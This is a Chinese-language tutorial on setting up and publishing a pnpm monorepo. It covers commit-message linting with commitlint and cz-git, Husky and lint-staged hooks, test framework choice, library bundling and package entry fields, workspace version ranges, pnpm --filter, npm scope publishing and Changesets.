* **在 pre-commit / commit-msg 阶段拦截不合规提交**

### 忽略文件

```bash
# .gitignore
# Node
node_modules/
dist/
build/
.env
.env.*
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*

# IDE
.vscode/
.idea/
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

# OS
.DS_Store
Thumbs.db

# TypeScript
*.tsbuildinfo

# Misc
coverage/
*.local
*.cache
*.tmp

# Git
.git/
```

### 安装

```bash
pnpm -Dw add @commitlint/cli @commitlint/config-conventional commitizen cz-git
```

| 依赖                                | 作用                                                         |
| ----------------------------------- | ------------------------------------------------------------ |
| **@commitlint/cli**                 | 工具的核心                                                   |
| **@commitlint/config-conventional** | 一套现成的规则集：基于 Conventional Commits（如 `feat: ...`、`fix: ...`） |
| **commitizen**                      | 提供 `git cz` / `cz` 的交互式提交体验（问答式生成 commit message） |
| **cz-git**                          | 一个更工程化、更可配置的 Commitizen adapter（可自定义 type、scope、提示文案、emoji 等） |

### Conventional Commits

典型格式：

```bash
<type>(<scope>): <subject>
```

* `type`：提交类型，例如 `feat` / `fix` / `docs` / `chore` …
* `scope`：影响范围（可选），例如 `web` / `utils` / `ui` …（monorepo 里很有用）
* `subject`：一句话摘要

### 配置

```json{
  "scripts": {
    "commit": "git-cz"
  },
  "config": {
    "commitizen": {
      "path": "node_modules/cz-git"
    }
  }
}
```

`scripts.commit`：

* 执行 `pnpm commit` 时，实际上跑的是 `git-cz`（cz-git 提供的交互命令）。
* 建议在团队里把“提交入口”固定为这一个命令，降低差异。

`config.commitizen.path`：

* 告诉 **commitizen**：使用哪个 adapter 生成提交信息。
* 这里指向 `cz-git`，也就是：**commitizen 负责框架，cz-git 负责交互实现**。

cz-git 更方便做工程化定制（例如：scope 列表、提示文案、多语言、emoji、校验规则等）。

### commitlint.config.js

`commitlint.config.js` 的作用：

* 定义“什么样的 commit message 才算合格”
* 会在 `commit-msg` 钩子里运行
* 不合规就 **直接阻止这次提交**

::: details 完整配置

```json
/** @type {import('cz-git').UserConfig} */
export default {
  extends: ["@commitlint/config-conventional"],
  rules: {
    // @see: https://commitlint.js.org/#/reference-rules
    "body-leading-blank": [2, "always"],
    "footer-leading-blank": [1, "always"],
    "header-max-length": [2, "always", 108],
    "subject-empty": [2, "never"],
    "type-empty": [2, "never"],
    "subject-case": [0],
    "type-enum": [
      2,
      "always",
      [
        "feat",
        "fix",
        "docs",
        "style",
        "refactor",
        "perf",
        "test",
        "build",
        "ci",
        "chore",
        "revert",
        "wip",
        "workflow",
        "types",
        "release"
      ]
    ]
  },
  prompt: {
    types: [
      { value: "feat", name: "✨ 新功能: 新增功能" },
      { value: "fix", name: "🐛 修复: 修复缺陷" },
      { value: "docs", name: "📚 文档: 更新文档" },
      { value: "refactor", name: "📦 重构: 代码重构（不新增功能也不修复 bug）" },
      { value: "perf", name: "🚀 性能: 提升性能" },
      { value: "test", name: "🧪 测试: 添加测试" },
      { value: "chore", name: "🔧 工具: 更改构建流程或辅助工具" },
      { value: "revert", name: "⏪ 回滚: 代码回滚" },
      { value: "style", name: "🎨 样式: 格式调整（不影响代码运行）" }
    ],
    scopes: ["root", "backend", "frontend", "components", "utils"],
    allowCustomScopes: true,
    skipQuestions: ["body", "footerPrefix", "footer", "breaking"], // 跳过“详细描述”和“底部信息”
    messages: {
      type: "📌 请选择提交类型:",
      scope: "🎯 请选择影响范围 (可选):",
      subject: "📝 请简要描述更改:",
      body: "🔍 详细描述 (可选):",
      footer: "🔗 关联的 ISSUE 或 BREAKING CHANGE (可选):",
      confirmCommit: "✅ 确认提交?"
    }
  }
};
```

:::

最小可用配置（推荐先用 conventional）：

```js
// commitlint.config.js
export default {
  extends: ['@commitlint/config-conventional'],
}
```

常见扩展：

```js
export default {
  extends: ['@commitlint/config-conventional'],
  rules: {
    // type 必须是这些之一（可按团队增删）
    'type-enum': [
      2,
      'always',
      ['feat', 'fix', 'docs', 'style', 'refactor', 'perf', 'test', 'chore', 'ci', 'build', 'revert']
    ],
    // subject 不允许句号结尾
    'subject-full-stop': [2, 'never', '.'],
    // subject 不能为空
    'subject-empty': [2, 'never']
  }
}
```

### cz-git 的配置

[cz-git](https://cz-git.qbb.sh/zh/) 官方文档明确说明：配置入口取决于你的项目 **是否使用 commitlint**。

如果你已经安装了 commitlint，那么 cz-git 推荐直接把交互配置写进 **commitlint 的配置文件** 里。

**一份配置文件同时管理两件事**：

* `rules`：commitlint 校验规则
* `prompt`：cz-git 交互规则（types/scopes/messages 等）

如果你的项目暂时不接入 commitlint，但仍希望使用 cz-git 的交互式提交能力，文档说明你可以单独创建 cz-git 配置文件，这种情况下配置文件只负责 `prompt`（交互），不涉及 commitlint 的 rules。

## Husky + lint-staged

### Husky

```bash
pnpm -Dw add husky
pnpx husky init
```

在 `.husky/pre-commit`：

```bash
#!/usr/bin/env sh
pnpm lint:prettier && pnpm lint:eslint && pnpm lint:spellcheck
```

package.json：

```js
{
  "scripts": {
    "prepare": "husky"
  }
}
```

### lint-staged

lint-staged 用于检查暂存区文件

安装：

```bash
pnpm -Dw add lint-staged
```

配置：

```js
// .lintstagedrc.js
export default {
  "*.{js,ts,cjs,jsx,tsx,css,scss,vue,html,md}": ["cspell lint"],
  "*.{js,ts,vue,md}": ["prettier --write", "eslint"]
}
```

还可以自己写 node 脚本，然后加入 `node xxx.js` 到数组中

## 测试

**Vitest 常见在前端的原因**

* 和 Vite 生态贴得紧（ESM、TS、路径解析、插件、速度）
* 启动快、热、watch 体验很好
* 跑浏览器相关（jsdom/happy-dom）很顺滑

**Jest 常见在工具库/后端的原因**

* 历史沉淀太深，生态庞大（mock、snapshot、transform、覆盖率）
* Node/后端项目模板里几乎默认就有
* 对 CommonJS/老项目迁移成本低（当然现在也能 ESM，但配置会复杂些）

**测试类型**：

* **Unit（单元测试）**：函数/模块级别，不依赖外部系统
* **Integration（集成测试）**：跨模块/依赖数据库/服务（可能需要 docker/测试环境）
* **E2E（端到端）**：从用户视角跑完整流程（Playwright/Cypress）

建议脚本命名上就分开：

* `test`：默认跑 unit（快，commit/PR 必跑）
* `test:integration`：只在需要时或 CI 特定阶段跑
* `test:e2e`：通常只对 apps，且在 CI 单独 job

monorepo 下**最稳的结构**是：根目录提供共享配置包，每个 package/app 用同一套基础配置，子包只覆盖：

* test 环境（node/jsdom）
* alias/路径
* 特定 setup（比如 polyfill、mock server）
* 特定 include/exclude（比如 e2e 不跑）

根目录放基础配置文件，子包引用它

* 根 `jest.base.config.js`
* 根 `vitest.base.ts`
* 子包 `jest.config.js`/`vitest.config.ts` 只 extend

测试框架会自动扫描 **test** 文件夹，Jest 默认识别：`__tests__` 和 `*.test.* / *.spec.*` ，Vitest 默认识别 `*.test.ts / *.spec.ts`，真正决定扫描的是：测试框架的 `testMatch/include` 配置 + 文件名模式

## 打包与发布

### 统一打包

“打包”这件事经常被误解成：根目录一个 `build` 把所有东西一起打完就行。实际上更合理的模型是：

* **apps/**：应用项目（Vite / Next / Nest / Nuxt…）本身就有 build 能力
* **packages/**：公共库（utils、ui、sdk、config…）才是 Monorepo 打包体系的重点
* **根目录 build**：不是“负责公共包”这么简单，而是**统一编排**：按依赖顺序把 apps & packages 的 build 串起来/并行起来，并做缓存、增量等优化（Turbo/Nx 的价值就在这）

根目录的 `build` 应该是“编排入口”：让每个 workspace 自己执行自己的 build；至于具体怎么打，是各子包自己决定的。

所以根目录一般写成：

```json
{
  "scripts": {
    "build": "turbo build",
    "dev": "turbo dev",
    "lint": "turbo lint"
  }
}
```

然后每个子项目（无论 apps 还是 packages）在自己的 `package.json` 里提供一致的脚本名：

* `build`
* `dev`（或 `start`）
* `lint`
* `test`

Turbo/Nx 才能统一调度。

“统一打包，一个库依赖另一个库”，实际有两种主流做法：

**做法 A（推荐）：每个包自己有 build，根目录编排顺序**

* `packages/a` 依赖 `packages/b`
* 那么 `a:build` 依赖 `b:build`
* 编排工具自动按 DAG 顺序跑（Turbo：`dependsOn: ["^build"]`）

这套维护成本低，扩展性最好。

**做法 B：根目录写一个超级脚本 build.js 去扫描 packages 并逐个打**

也能做，但你得自己解决：

* 依赖拓扑排序（先打上游）
* 并发控制
* 增量判断（哪些包需要重打）
* 缓存
* 跨平台脚本细节

除非你有很强的定制需求，否则做法 A 更香。

最后需要在根目录统一入口：`build` / `dev` / `watch`

### 工具选型

纯工具库（utils、shared-types）

* **tsc**：最简单，但不做 bundling（不合并依赖）
* **tsup**：非常省心，一条命令出 esm/cjs/dts，适合多数 TS 库
* **rollup**：最可控，但配置多

推荐：`tsup`（快、配置少、产物靠谱）

组件库（Vue/React 组件 + 样式）

* **Vite library mode**：开发体验好，配置相对少
* **Rollup**：生态成熟（Vite 底层也是 Rollup），更细粒度控制 external、css 分拆等

推荐：Vue/React 组件库用 `Vite library mode`（够用且爽），复杂场景再下沉到 Rollup 插件细配。

### 子包自定义

在 monorepo 里，经常希望每个包能自定义构建行为，而统一脚本去识别。

例如你在包里写：

```json
{
  "name": "@org/ui",
  "buildOptions": {
    "format": ["esm", "cjs"],
    "external": ["vue"],
    "entry": "src/index.ts"
  }
}
```

然后 `scripts/build.mjs` 去读取 `buildOptions`，拼装 rollup/vite/tsup 的参数。

### 组件库打包

打包组件库需要把组件框架排除掉，比如 vue，不要让打包结果有 vue 的代码，这里有两个层面：

**external（构建层）**

告诉 bundler：这些依赖不要打进产物里。

* Rollup/Vite：`build.rollupOptions.external = ["vue"]`
* tsup：`--external vue`

**peerDependencies（包管理层）**

告诉使用者：你必须自己安装这些依赖，我只是“兼容它”。

组件库的 `package.json` 通常要这样写：

```json
{
  "peerDependencies": {
    "vue": "^3.0.0"
  },
  "dependencies": {
    // 只放运行时真正需要且应该被你带上的依赖
  }
}
```

**重点：external + peerDependencies 通常要一起做**，否则就会出现：external 了 vue，但没写 peerDependencies -> 使用者没装 vue 也能装你的包，但运行直接炸

### 子包使用

`workspace:*` 是开发期最舒服的写法

```json
{
  "dependencies": {
    "@org/ui": "workspace:*"
  }
}
```

这表示：

* 优先链接同仓的 `@org/ui`
* 不从 npm 拉
* 版本对齐由 workspace 管

也可以指定版本号，比如想锁死：`"@org/ui": "workspace:^1.0.0"`

### 依赖包内嵌

一个现象：打包后发现 `@org/xxx` 似乎“内嵌”了，于是觉得使用者不需要再装 `@org/xxx`。

**情况 A：确实把依赖打进 bundle（bundled dependencies）**

比如把某个内部包打进了最终产物里（rollup 把它打平了）。

优点：使用者只装一个包就能跑

缺点：容易导致：

* 重复打包（多个包各自带一份相同代码）
* 版本冲突难排查
* tree-shaking 变差
* sourcemap/debug 变复杂

**情况 B：你没打进去，只是 workspace 本地链接让你误以为“内嵌”**

开发时 `workspace:*` 会让你觉得“我都能 import 到”，但发布后用户环境没有 workspace，就会暴露真实问题。

**经验建议**：

* 内部库之间：尽量保持“正常依赖关系 + 清晰 exports”，不要靠“打平内嵌”解决
* 除非你做的是一个“单文件 SDK”或“必须自包含”的产物

### 入口字段

一个坑：“发布了包，但用户导入时报错，读了 main 的 index.js，可是根本没有 index.js，因为产物在 dist，且 ESM/CJS 不匹配”

推荐用 exports（现代 Node/打包器都认）

比如你的产物是：

* `dist/index.mjs`（ESM）
* `dist/index.cjs`（CJS）
* `dist/index.d.ts`（types）

推荐这样写：

```json
{
  "name": "@org/ui",
  "type": "module",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.mjs",
      "require": "./dist/index.cjs"
    }
  },
  "main": "./dist/index.cjs",
  "module": "./dist/index.mjs",
  "types": "./dist/index.d.ts"
}
```

解释：

* `exports` 是第一优先级（更安全，避免用户乱 import 你内部文件）
* `main/module/types` 保留是为了兼容老工具链（有些还看）

如果你只产 ESM，那就：

```json
{
  "type": "module",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.js"
    }
  }
}
```

并确保产物确实是 ESM（比如 `.js` 在 `"type":"module"` 下就是 ESM）。

类型声明（types）一定要有

否则 TS 用户会：

* 没类型提示
* 或直接 `Could not find a declaration file for module ...`

解决：

* 用 `tsc --declaration` 或 tsup/vite 插件生成 dts
* 并在 package.json 正确指向 `types`

### 内部包导入

**场景**：发布的包 `@org/a` 在源码里依赖了 `@org/b`：

* 在 monorepo 里，`@org/b` 通过 `workspace:*` 链接存在，所以你本地一切 OK
* 但你发布到 npm 后，用户环境里没有 `@org/b`（因为你没发布它）
* 如果你的构建产物里还保留了 `require("@org/b")` / `import "@org/b"`，用户就会报错：找不到模块

解决思路只有三种

1. **发布 `@org/b`**（最干净）
2. **把 `@org/b` 作为 dependency 并让用户安装它**（仍然要求它可获取：要么也发布，要么私有 registry）
3. **构建时把 `@org/b` 打进 `@org/a` 的产物（bundle in）**（自包含）

如果你选择 3，就要明确：

* bundler 不 external `@org/b`
* 并且确保类型声明/源码映射也匹配（否则 TS 也会迷路）

### 版本号递增

本地开发时（monorepo 内）写：

```json
"@org/ui": "workspace:*"
```

但当“使用这个包的包”（比如 `@org/app-core` 或 `@org/sdk`）**被 version / publish / pack** 之后，你去看它最终产出的 `package.json`（或发布到 npm 的版本），会发现它变成了类似：

```json
"@org/ui": "^1.3.2"
```

这个 `1.3.2` 正是 `@org/ui` 自己 `package.json` 里的 `version`。

`workspace:*`（以及 `workspace:^`、`workspace:~`）是一种 **“只在工作区内有意义的依赖写法”**。

一旦要把某个包“变成工作区外可用的东西”（典型是 `npm publish`、`pnpm pack`，或用 changesets/lerna 做 version/publish），工具就必须把它转换成外部世界能理解的 semver 依赖范围。

所以它会做解析：

* `workspace:*` → “依赖 workspace 中那个包的当前版本”
* `workspace:^` → “^当前版本”
* `workspace:~` → “~当前版本”

因此你看到的就是：**发布物里的依赖被替换成目标包的版本号范围**。

严格说：不是 bundler（rollup/vite）在改 package.json，更多是：

* **pnpm / npm 在 pack/publish 时的 workspace 协议处理**
* 或者 **changesets/lerna/rush** 在 `version` / `publish` 阶段做的“依赖范围重写”

### 升级范围

`*` `~` `^`，这三个符号的区别是“**允许升级的范围**”，开发阶段写 `workspace:*`，pack 后变成 `^x.y.z`”，一般是发布/打包工具按默认策略把它改成了 **caret 范围**（^），让依赖能自动吃到兼容更新。

**`*`：不限制版本（非常宽）**

* `*` 表示：**任意版本都行**
* 等价于 `>=0.0.0`（极宽）
* 风险：依赖可能突然装到很新的大版本（尤其 1.x 以后），引入 breaking change

为什么很多库/monorepo 开发时用 `workspace:*`？

* 在工作区里，`workspace:*` 主要意思是：**永远用本地那个包**（不用关心具体版本号）
* 它是“开发便利”写法，不是“对外依赖策略”

**`^`：允许升级“兼容版本”（主流默认）**

`^x.y.z` 允许升级到 **不改变左边第一个非零位** 的最新版本：

* `^9.1.7` 允许：`>=9.1.7 <10.0.0`
* `^1.2.3` 允许：`>=1.2.3 <2.0.0`

但对于 **0.x**，规则更保守（因为 0.x 被认为不稳定）：

* `^0.2.3` 允许：`>=0.2.3 <0.3.0`
* `^0.0.3` 允许：`>=0.0.3 <0.0.4`

所以你看到很多库写 `"husky": "^9.1.7"` 很正常：它想要“同一大版本内自动拿到 bugfix/minor”。

`**~`：只允许升级 patch（更保守）\*\*

`~x.y.z` 允许升级到同一 **minor** 的最新 patch：

* `~9.1.7` 允许：`>=9.1.7 <9.2.0`
* `~1.2.3` 允许：`>=1.2.3 <1.3.0`

适合特别怕依赖的 minor 更新带来行为变化的场景。

**选型建议**：

**应用（apps）**：一般用 `^`（升级友好）

**库（packages）**：

* 对外发布、希望兼容升级：`^`
* 极度保守、只吃补丁：`~`

**monorepo 内部互相依赖**：

* 开发体验：`workspace:^`（更推荐它，比 `workspace:*` 更明确）
* 不希望工具乱猜策略，就别用裸 `workspace:*`

### 子包安装

当在某个包里写：

```json
"@org/ui": "workspace:*"
```

然后在 monorepo 根目录执行 `pnpm i`（或在任何子包执行安装，最终也是 workspace 安装），pnpm 并不会像从 npm registry 装包那样把 `@org/ui` 复制一份到 `node_modules`。

相反，它会做两件事：

1. 在 pnpm 的全局 store/工作区结构里维护真实内容
2. 在当前包的 `node_modules/@org/ui` 位置放一个**链接（symlink/shortcut）**，指向工作区里 `@org/ui` 这个包

所以你会看到：

* `node_modules/@org/ui` 确实存在
* 但它不是一份拷贝，而是一个“软链接/快捷方式”
* 好处是：**永远指向同一个工作区包，永远是最新的源码状态**

链接只是让它指向工作区里的那个包目录，但到底读 `src` 还是读 `dist`，是由入口字段决定的。

**“永远最新版”的前提：上游包必须先产出可消费的产物**，因为如果 `@org/ui` 的入口指向 `dist/**`，但它还没 build，那么 `dist/` 不存在，那消费者就会出现各种报错

因此，monorepo 开发里通常需要一个 watch 链路

为了让下游包（apps/其它 packages）始终吃到最新的 dist，一般会：

* 给 `@org/ui` 提供 `dev` 脚本（watch build）
* 根目录用 turbo/nx 起一个“联动 dev”：

比如思路是 `pnpm dev` 同时启动：

* `@org/ui` 的 `dev`（watch 输出 dist）
* `apps/web` 的 dev server（消费 dist）

这样改 ui 代码，ui 会重新构建 dist，下游立刻看到变化。

***

workspace 链接只是“把包连上了”，**到底消费源码（src）还是消费产物（dist），取决于你怎么设计包的入口，以及应用的 bundler 能不能编译 workspace 源码。**

确实可以直接读取源码（src），不需要先 build dist

在 Monorepo 里，`@org/ui` 是一个真实目录：

```bash
packages/ui/
  src/
    index.ts
  dist/
  package.json
```

当下游写：

```js
import { Button } from "@org/ui";
```

pnpm 会在 `node_modules/@org/ui` 做软链接，最终指向：

```js
packages/ui/
```

所以理论上，下游完全可以直接编译：

```js
packages/ui/src/index.ts
```

而不是读 `dist/index.js`

但是“读源码”有很多隐含条件：

**条件 A：下游 bundler 必须能编译 workspace 外部文件**

很多框架默认认为：

* `node_modules` 里的东西是“已经编译好的 JS”
* 不会再去处理 TS/JSX 源码

所以如果你让包入口指向 src：

```js
{
  "exports": {
    ".": "./src/index.ts"
  }
}
```

那么下游可能直接报错：

* Vite：默认不预编译 workspace TS（需要配置）
* Next：默认不 transpile node\_modules（需要 transpilePackages）
* Jest：默认不处理 node\_modules TS（需要 transform）

所以“读源码”必须配套：

* 应用侧 transpile workspace packages

**条件 B：对外发布时不能暴露 src（通常不推荐）**

Monorepo 内部读源码没问题，但一旦包要发布到 npm：

* 用户不会有 TS 编译环境
* 用户不希望安装一个包还要编译它
* 源码路径也不稳定

所以对外发布的库一般必须提供 dist：

* ESM/CJS
* d.ts
* sourcemap

因此最佳实践通常是：

* **开发期可以读源码（提升联调体验）**
* **发布期一定读 dist（稳定交付）**

**总结**：Monorepo 完全可以做到：下游直接 import workspace 包的源码，而不是 build 后的 dist，只是这要求应用侧 bundler 支持编译 workspace packages，并且这种方式通常只适合内部开发，不适合对外发布。

**如果上游本来就是纯 JS（不需要编译），那当然可以直接源码消费，甚至这是最省事的情况。**

### 子包入口声明

```json
{
  "main": "./dist/index.cjs.js",
  "module": "./dist/index.esm.js",
  "types": "./dist/index.d.ts"
}
```

否则无法正确导入。

### 范围执行命令

`pnpm --filter` 在 monorepo 里就是“**只对指定的那些 workspace 包执行命令**”，很常用，尤其不想每次 `-r` 全仓跑的时候。

在 monorepo 里你有很多 workspace 包：

* `apps/web`
* `packages/utils`
* `packages/ui`
* `packages/api`

如果你直接：`pnpm -r build`，它会对**所有包**跑 build，但很多时候只想：只跑某一个包的 build/test/lint，这就用 `--filter`。

基本形态：

```bash
pnpm --filter <selector> <command>
```

比如

```bash
{
  "scripts": {
    "publish:utils": "pnpm --filter \"@name-org/utils\" publish"
  }
}
```

这会在 workspace 里只对 `@name-org/utils` 执行 `pnpm publish`。

发布经常还需要控制 registry / access / tag，这些参数可以继续加在后面。

**selector（选择器）**：

（1） 按包名（最常用）

```bash
pnpm --filter @name-org/utils test
```

（2） 按路径（也常用）

```bash
pnpm --filter ./packages/utils build
```

（3） 通配符匹配

```bash
pnpm --filter "@name-org/*" lint
pnpm --filter "./packages/*" build
```

**高级玩法：只跑“相关包”**

pnpm 的 filter 支持用 `...` 表达依赖关系（上游/下游）

只跑这个包：

```bash
pnpm --filter @org/utils build
```

这个包 + 它的依赖（上游）当要跑一个 app，但它依赖很多 packages，你希望先把依赖也 build 掉：

```bash
pnpm --filter @org/web... build
```

`...` 的意思就是“包含依赖链”。

这个包 + 依赖它的包（下游/消费者）

比如你改了 `@org/utils`，你想把所有用到它的包也跑一遍测试：

```bash
pnpm --filter ...@org/utils test
```

（这个方向在做影响面验证时特别有用。）

这个包 + 上游 + 下游（全相关）

你想把“受影响的一圈”都跑：

```bash
pnpm --filter ...@org/utils... test
```

跟 `-r`（recursive）关系：

* `pnpm -r <cmd>`：对所有 workspace 包执行
* `pnpm --filter <sel> <cmd>`：对筛选出的包执行

可以理解为 `--filter` 是“选择范围”，然后 pnpm 会在这个范围里递归执行命令。

在 package.json 里写 filter 命令的小建议（少踩坑）

（1）引号一定要处理好

```bash
"pnpm --filter \"@name-org/utils\" publish"
```

很稳（兼容 shell）。

（2）推荐加 `--dry-run` 做发布演练

```bash
"publish:utils:dry": "pnpm --filter \"@name-org/utils\" publish --dry-run"
```

（3）如果是 monorepo，多包发布建议用 changesets

**一个超实用组合：只跑变更相关包**

```bash
pnpm --filter "...[origin/main]" test
```

含义：只对“相对于 main 分支有改动的包及其相关包”跑测试（具体语法/支持度取决于 pnpm 版本，但这是常见思路）。

### 发布准备

确认登录账号与 registry

```bash
npm whoami
npm config get registry
```

`npm whoami` 用来确认你现在到底登录的是哪个账号（尤其你在公司/个人账号之间切换时）。

`@xxx/utils` 里的 `xxx` 是一个 **scope**，它可以是：

* **用户 scope**：`@你的用户名/*`（例如你用户名叫 `alice`，你可以发 `@alice/utils`）
* **组织 scope**：`@某个组织/*`（例如 `@my-org/utils`，你需要是这个 org 的成员且有 publish 权限）

也就是说：如果你想发布到 `@xxx/*`，你要么：

* 登录的用户就是 `xxx`（用户 scope）
* 要么你在 npm 上有一个叫 `xxx` 的 organization，并且你有权限往里发布（组织 scope）

至于“付费”这块：**付费主要影响私有包能力**，不是说“不付费就不能用 org/scope”，npm 文档里明确讲：Teams 是为了组织成员发布/安装私有包等能力。

**scoped 包（`@xxx/name`）默认会被当成 private 发布**，如果你没有私有包权限，就会发布失败，解决方式是发布时指定 `--access public`。

命令行指定（最直观）

```bash
pnpm publish --access public
```

写死在 package.json 的 publishConfig（更省心）

```json
{
  "publishConfig": {
    "access": "public"
  }
}
```

`pnpm publish` 默认会检查：

* 当前分支是不是 publish-branch（默认 main/master）
* 工作区是否干净（没有未提交改动）
* 是否与远端同步

如果就是想“本地临时发一下/CI tag 场景/不想被这些规则卡”，可以加：

```bash
pnpm publish --no-git-checks
```

同样也可以在 pnpm 配置里把 git-checks 关掉，但命令行最直接。

发布的内容最主流做法是：

* 发布 **dist + types + README + LICENSE**
* 不发布 src（可选）

files 白名单（推荐）

```json
{
  "files": [
    "dist",
    "types",
    "README.md",
    "LICENSE"
  ]
}
```

或者`.npmignore` 黑名单

就算不发源码，npm 页面/包里依然可以通过 `repository` 字段链接到仓库，用户想看源码也能点过去。

### 发布命令

```bash
pnpm --filter "@my-org/utils" publish
```

## 版本管理建议

发布前建议引入自动化版本管理工具：

* changesets（最推荐）
* rush
* lerna

实现：

* 自动 bump version
* 自动生成 changelog
* 多包联动发布

## 总结

Monorepo 的核心价值在于：

* 多项目统一治理
* 内部包即时共享
* 规范集中管理（eslint/prettier/ts）
* 自动化提交检查与发布

配合 pnpm workspace，可以实现：一个仓库管理所有应用 + 所有基础设施包，并保持高质量工程化。

## Changesets

Changesets 是目前 **pnpm / yarn / npm monorepo** 场景下，最主流、最稳妥的，**版本管理 + Changelog 生成 + 多包发布** 方案之一。

它的设计目标不是“全自动猜版本”，而是：**可控**，**可审计**，**适合多包仓库**

**Changesets 是什么？解决什么问题？**

1️⃣ 在没有 Changesets 的 Monorepo 里，通常会遇到这些问题

* 多个包同时维护，不知道该给哪个包升版本
* 内部包互相依赖，升级一个包后，依赖它的包版本/依赖范围容易忘记更新
* 手动改 `package.json version` 非常容易出错
* Changelog 要么不写，要么乱写，要么根本没人维护
* CI 发布流程复杂且不可控

2️⃣ Changesets 的核心职责（只做 3 件事）

**Changesets 只关心这三件事：**

**记录“变更意图”**

* 哪些包变了
* 这次是 patch / minor / major
* 变更说明（会进 changelog）

**根据这些记录，自动计算版本号**

* 自动递增版本
* 自动同步内部依赖的版本范围

**生成并维护 CHANGELOG.md**

注意：Changesets **不是 bundler**，不是测试工具，也不是 commit 规范工具，它只管「版本和日志」

**Changesets 在 Monorepo 中的整体工作流（全景）**

一个完整生命周期是这样的：

```bash
开发者改代码
   ↓
pnpm changeset（生成 changeset 文件）
   ↓
changeset 文件随代码提交
   ↓
合并到 main
   ↓
pnpm changeset version（计算版本 & 写 changelog）
   ↓
pnpm changeset publish（发布到 npm）
```

**关键思想：**

* 版本不是靠“猜”
* 而是靠你明确写下的 changeset 文件

### 安装

1️⃣ 在 monorepo 根目录：

```bash
pnpm add -D @changesets/cli
```

2️⃣ 初始化

```bash
pnpm changeset init
```

生成两个关键东西：

```bash
.changeset/
  config.json
```

之后所有的 changeset 文件，都会放在 `.changeset/` 目录下。

### 配置详解

这是 Changesets 的“行为配置中心”。

一个**典型、推荐的配置（独立版本模式）**：

```json
{
  "changelog": "@changesets/cli/changelog",
  "commit": false,
  "fixed": [],
  "linked": [],
  "access": "public",
  "baseBranch": "main",
  "updateInternalDependencies": "patch",
  "ignore": []
}
```

1️⃣ `changelog`

```json
"changelog": "@changesets/cli/changelog"
```

表示使用官方的 changelog 生成器。

效果：

* 每个包会生成 / 更新自己的 `CHANGELOG.md`
* 按版本号分段

2️⃣ `commit`

```json
"commit": false
```

* `false`：Changesets **不自动帮你 commit**
* 推荐保持 false（更可控）

3️⃣ `fixed`（统一版本 / lockstep）

```json
"fixed": []
```

* 空数组：**默认是独立版本（independent）**
* 如果你想所有包同一个版本号，可以这样：

```json
"fixed": [["@org/*"]]
```

表示所有 `@org/*` 包共享同一个版本。

4️⃣ `linked`（联动版本，较少用）

```json
"linked": []
```

表示某些包版本必须保持一致，但不强制所有包一致，一般用得不多，新手可以忽略。

5️⃣ `access`

```json
"access": "public"
```

* 用于 scoped 包（`@org/pkg`）
* 等价于 `npm publish --access public`

避免发布时因为“默认私有”而失败。

6️⃣ `baseBranch`

```json
"baseBranch": "main"
```

表示：Changesets 默认认为 `main` 是发布基线分支

7️⃣ ⭐ `updateInternalDependencies`（非常关键）

```json
"updateInternalDependencies": "patch"
```

含义：当某个包升级后，**依赖它的内部包至少 bump 一个 patch**

* **patch**：修 bug，不改 API（x.y.(z+1)）
* **minor**：加新功能，向后兼容（x.(y+1).0）
* **major**：破坏性变更（(x+1).0.0）

举例：

* `@org/utils` 升级了
* `@org/ui` 依赖 `@org/utils`
* 即使 ui 自己没改代码
* ui 也会自动 bump 一个 patch

这是为了避免：

* 依赖范围不匹配
* 发布后装不到正确版本

8️⃣ `ignore`

```json
"ignore": []
```

可以忽略某些包（比如 demo、playground）。

### 文件本身

1️⃣ 生成 changeset

```bash
pnpm changeset
```

交互式流程会问你：

1. 哪些包变了（多选）
2. 每个包是 patch / minor / major
3. 写一段说明（changelog 内容）

2️⃣ changeset 文件长什么样？

`.changeset/sweet-ducks-sleep.md`（名字随机）

```markdown
---
"@org/utils": patch
"@org/ui": minor
---

- utils 修复了 xxx 问题
- ui 新增了 Button 的 yyy 能力
```

**这就是“变更日志的源头”。**

3️⃣ changeset 文件的本质

你可以把它理解为：“一次发布意图的声明文件”

它不会：

* 改版本号
* 改 package.json
* 发布包

它只是一个**账本记录**。

### 自动递增版本

1️⃣ 核心命令

```bash
pnpm changeset version
```

2️⃣ 这个命令会做什么？

它会：

1. 读取 `.changeset/*.md`
2. 计算每个包的下一个版本号
3. 更新各包的 `package.json version`
4. 更新内部依赖的版本范围（如 `workspace:* → ^x.y.z`）
5. 生成 / 更新每个包的 `CHANGELOG.md`
6. 删除已消费的 changeset 文件

**changeset 文件在这里“被结算”了。**

3️⃣ 版本递增规则来源

完全来源于你当初写 changeset 时选的：

* patch
* minor
* major

Changesets **不会猜，也不会推断 commit message**。

### 发布阶段

1️⃣ 发布命令

```bash
pnpm changeset publish
```

2️⃣ 它会发布哪些包？

只会发布：

* 非 `private: true`
* 本地 version > npm 上已存在 version
* 满足 access 权限的包

它**不会重复发布相同版本**。

### 推荐 scripts

根目录 `package.json`：

```json
{
  "scripts": {
    "changeset": "changeset",
    "version-packages": "changeset version",
    "release": "changeset publish"
  }
}
```

常见用法：

```bash
pnpm changeset           # 记录变更
pnpm version-packages    # 生成版本 & changelog
pnpm release             # 发布
```

**总结**：**Changesets 是为 Monorepo 设计的“版本与日志账本系统”。它通过显式记录每一次变更意图，来可靠地自动递增版本号、同步内部依赖，并生成可维护的 changelog。**

## 发布注意

`@scope/*` 里的 **scope 必须是 npm 上存在的「用户」或「组织」**，并且你对它有发布权限，不是看你登录账号叫啥，而是看你有没有权限往这个 scope 里发包。

你想发布包名：`@notespace/utils`

这意味着：你要往 **`@notespace` 这个 scope** 发布。那 npm 上必须存在 `notespace` 这个“主体”：

* **如果 npm 上有一个用户名叫 `notespace`**：那它就是“用户 scope”
* **或者 npm 上有一个 organization 叫 `notespace`**：那它就是“组织 scope”

而你当前用户名是 `yumengjh`，所以：

* 你可以发布：`@yumengjh/utils`（用户 scope 就是你的用户名）
* 你也可以发布：`@notespace/utils`，**前提是你创建（或加入）一个叫 `notespace` 的 npm organization，并且你有权限发布**
* 你不能凭空发布到一个不存在/你没权限的 scope（会报类似 404/权限问题）

如果你**坚持**包名必须是 `@notespace/utils`：**是的，通常就得建一个 npm org 叫 `notespace`**（或者这个名字已经被别人占了，那你得换 scope）。

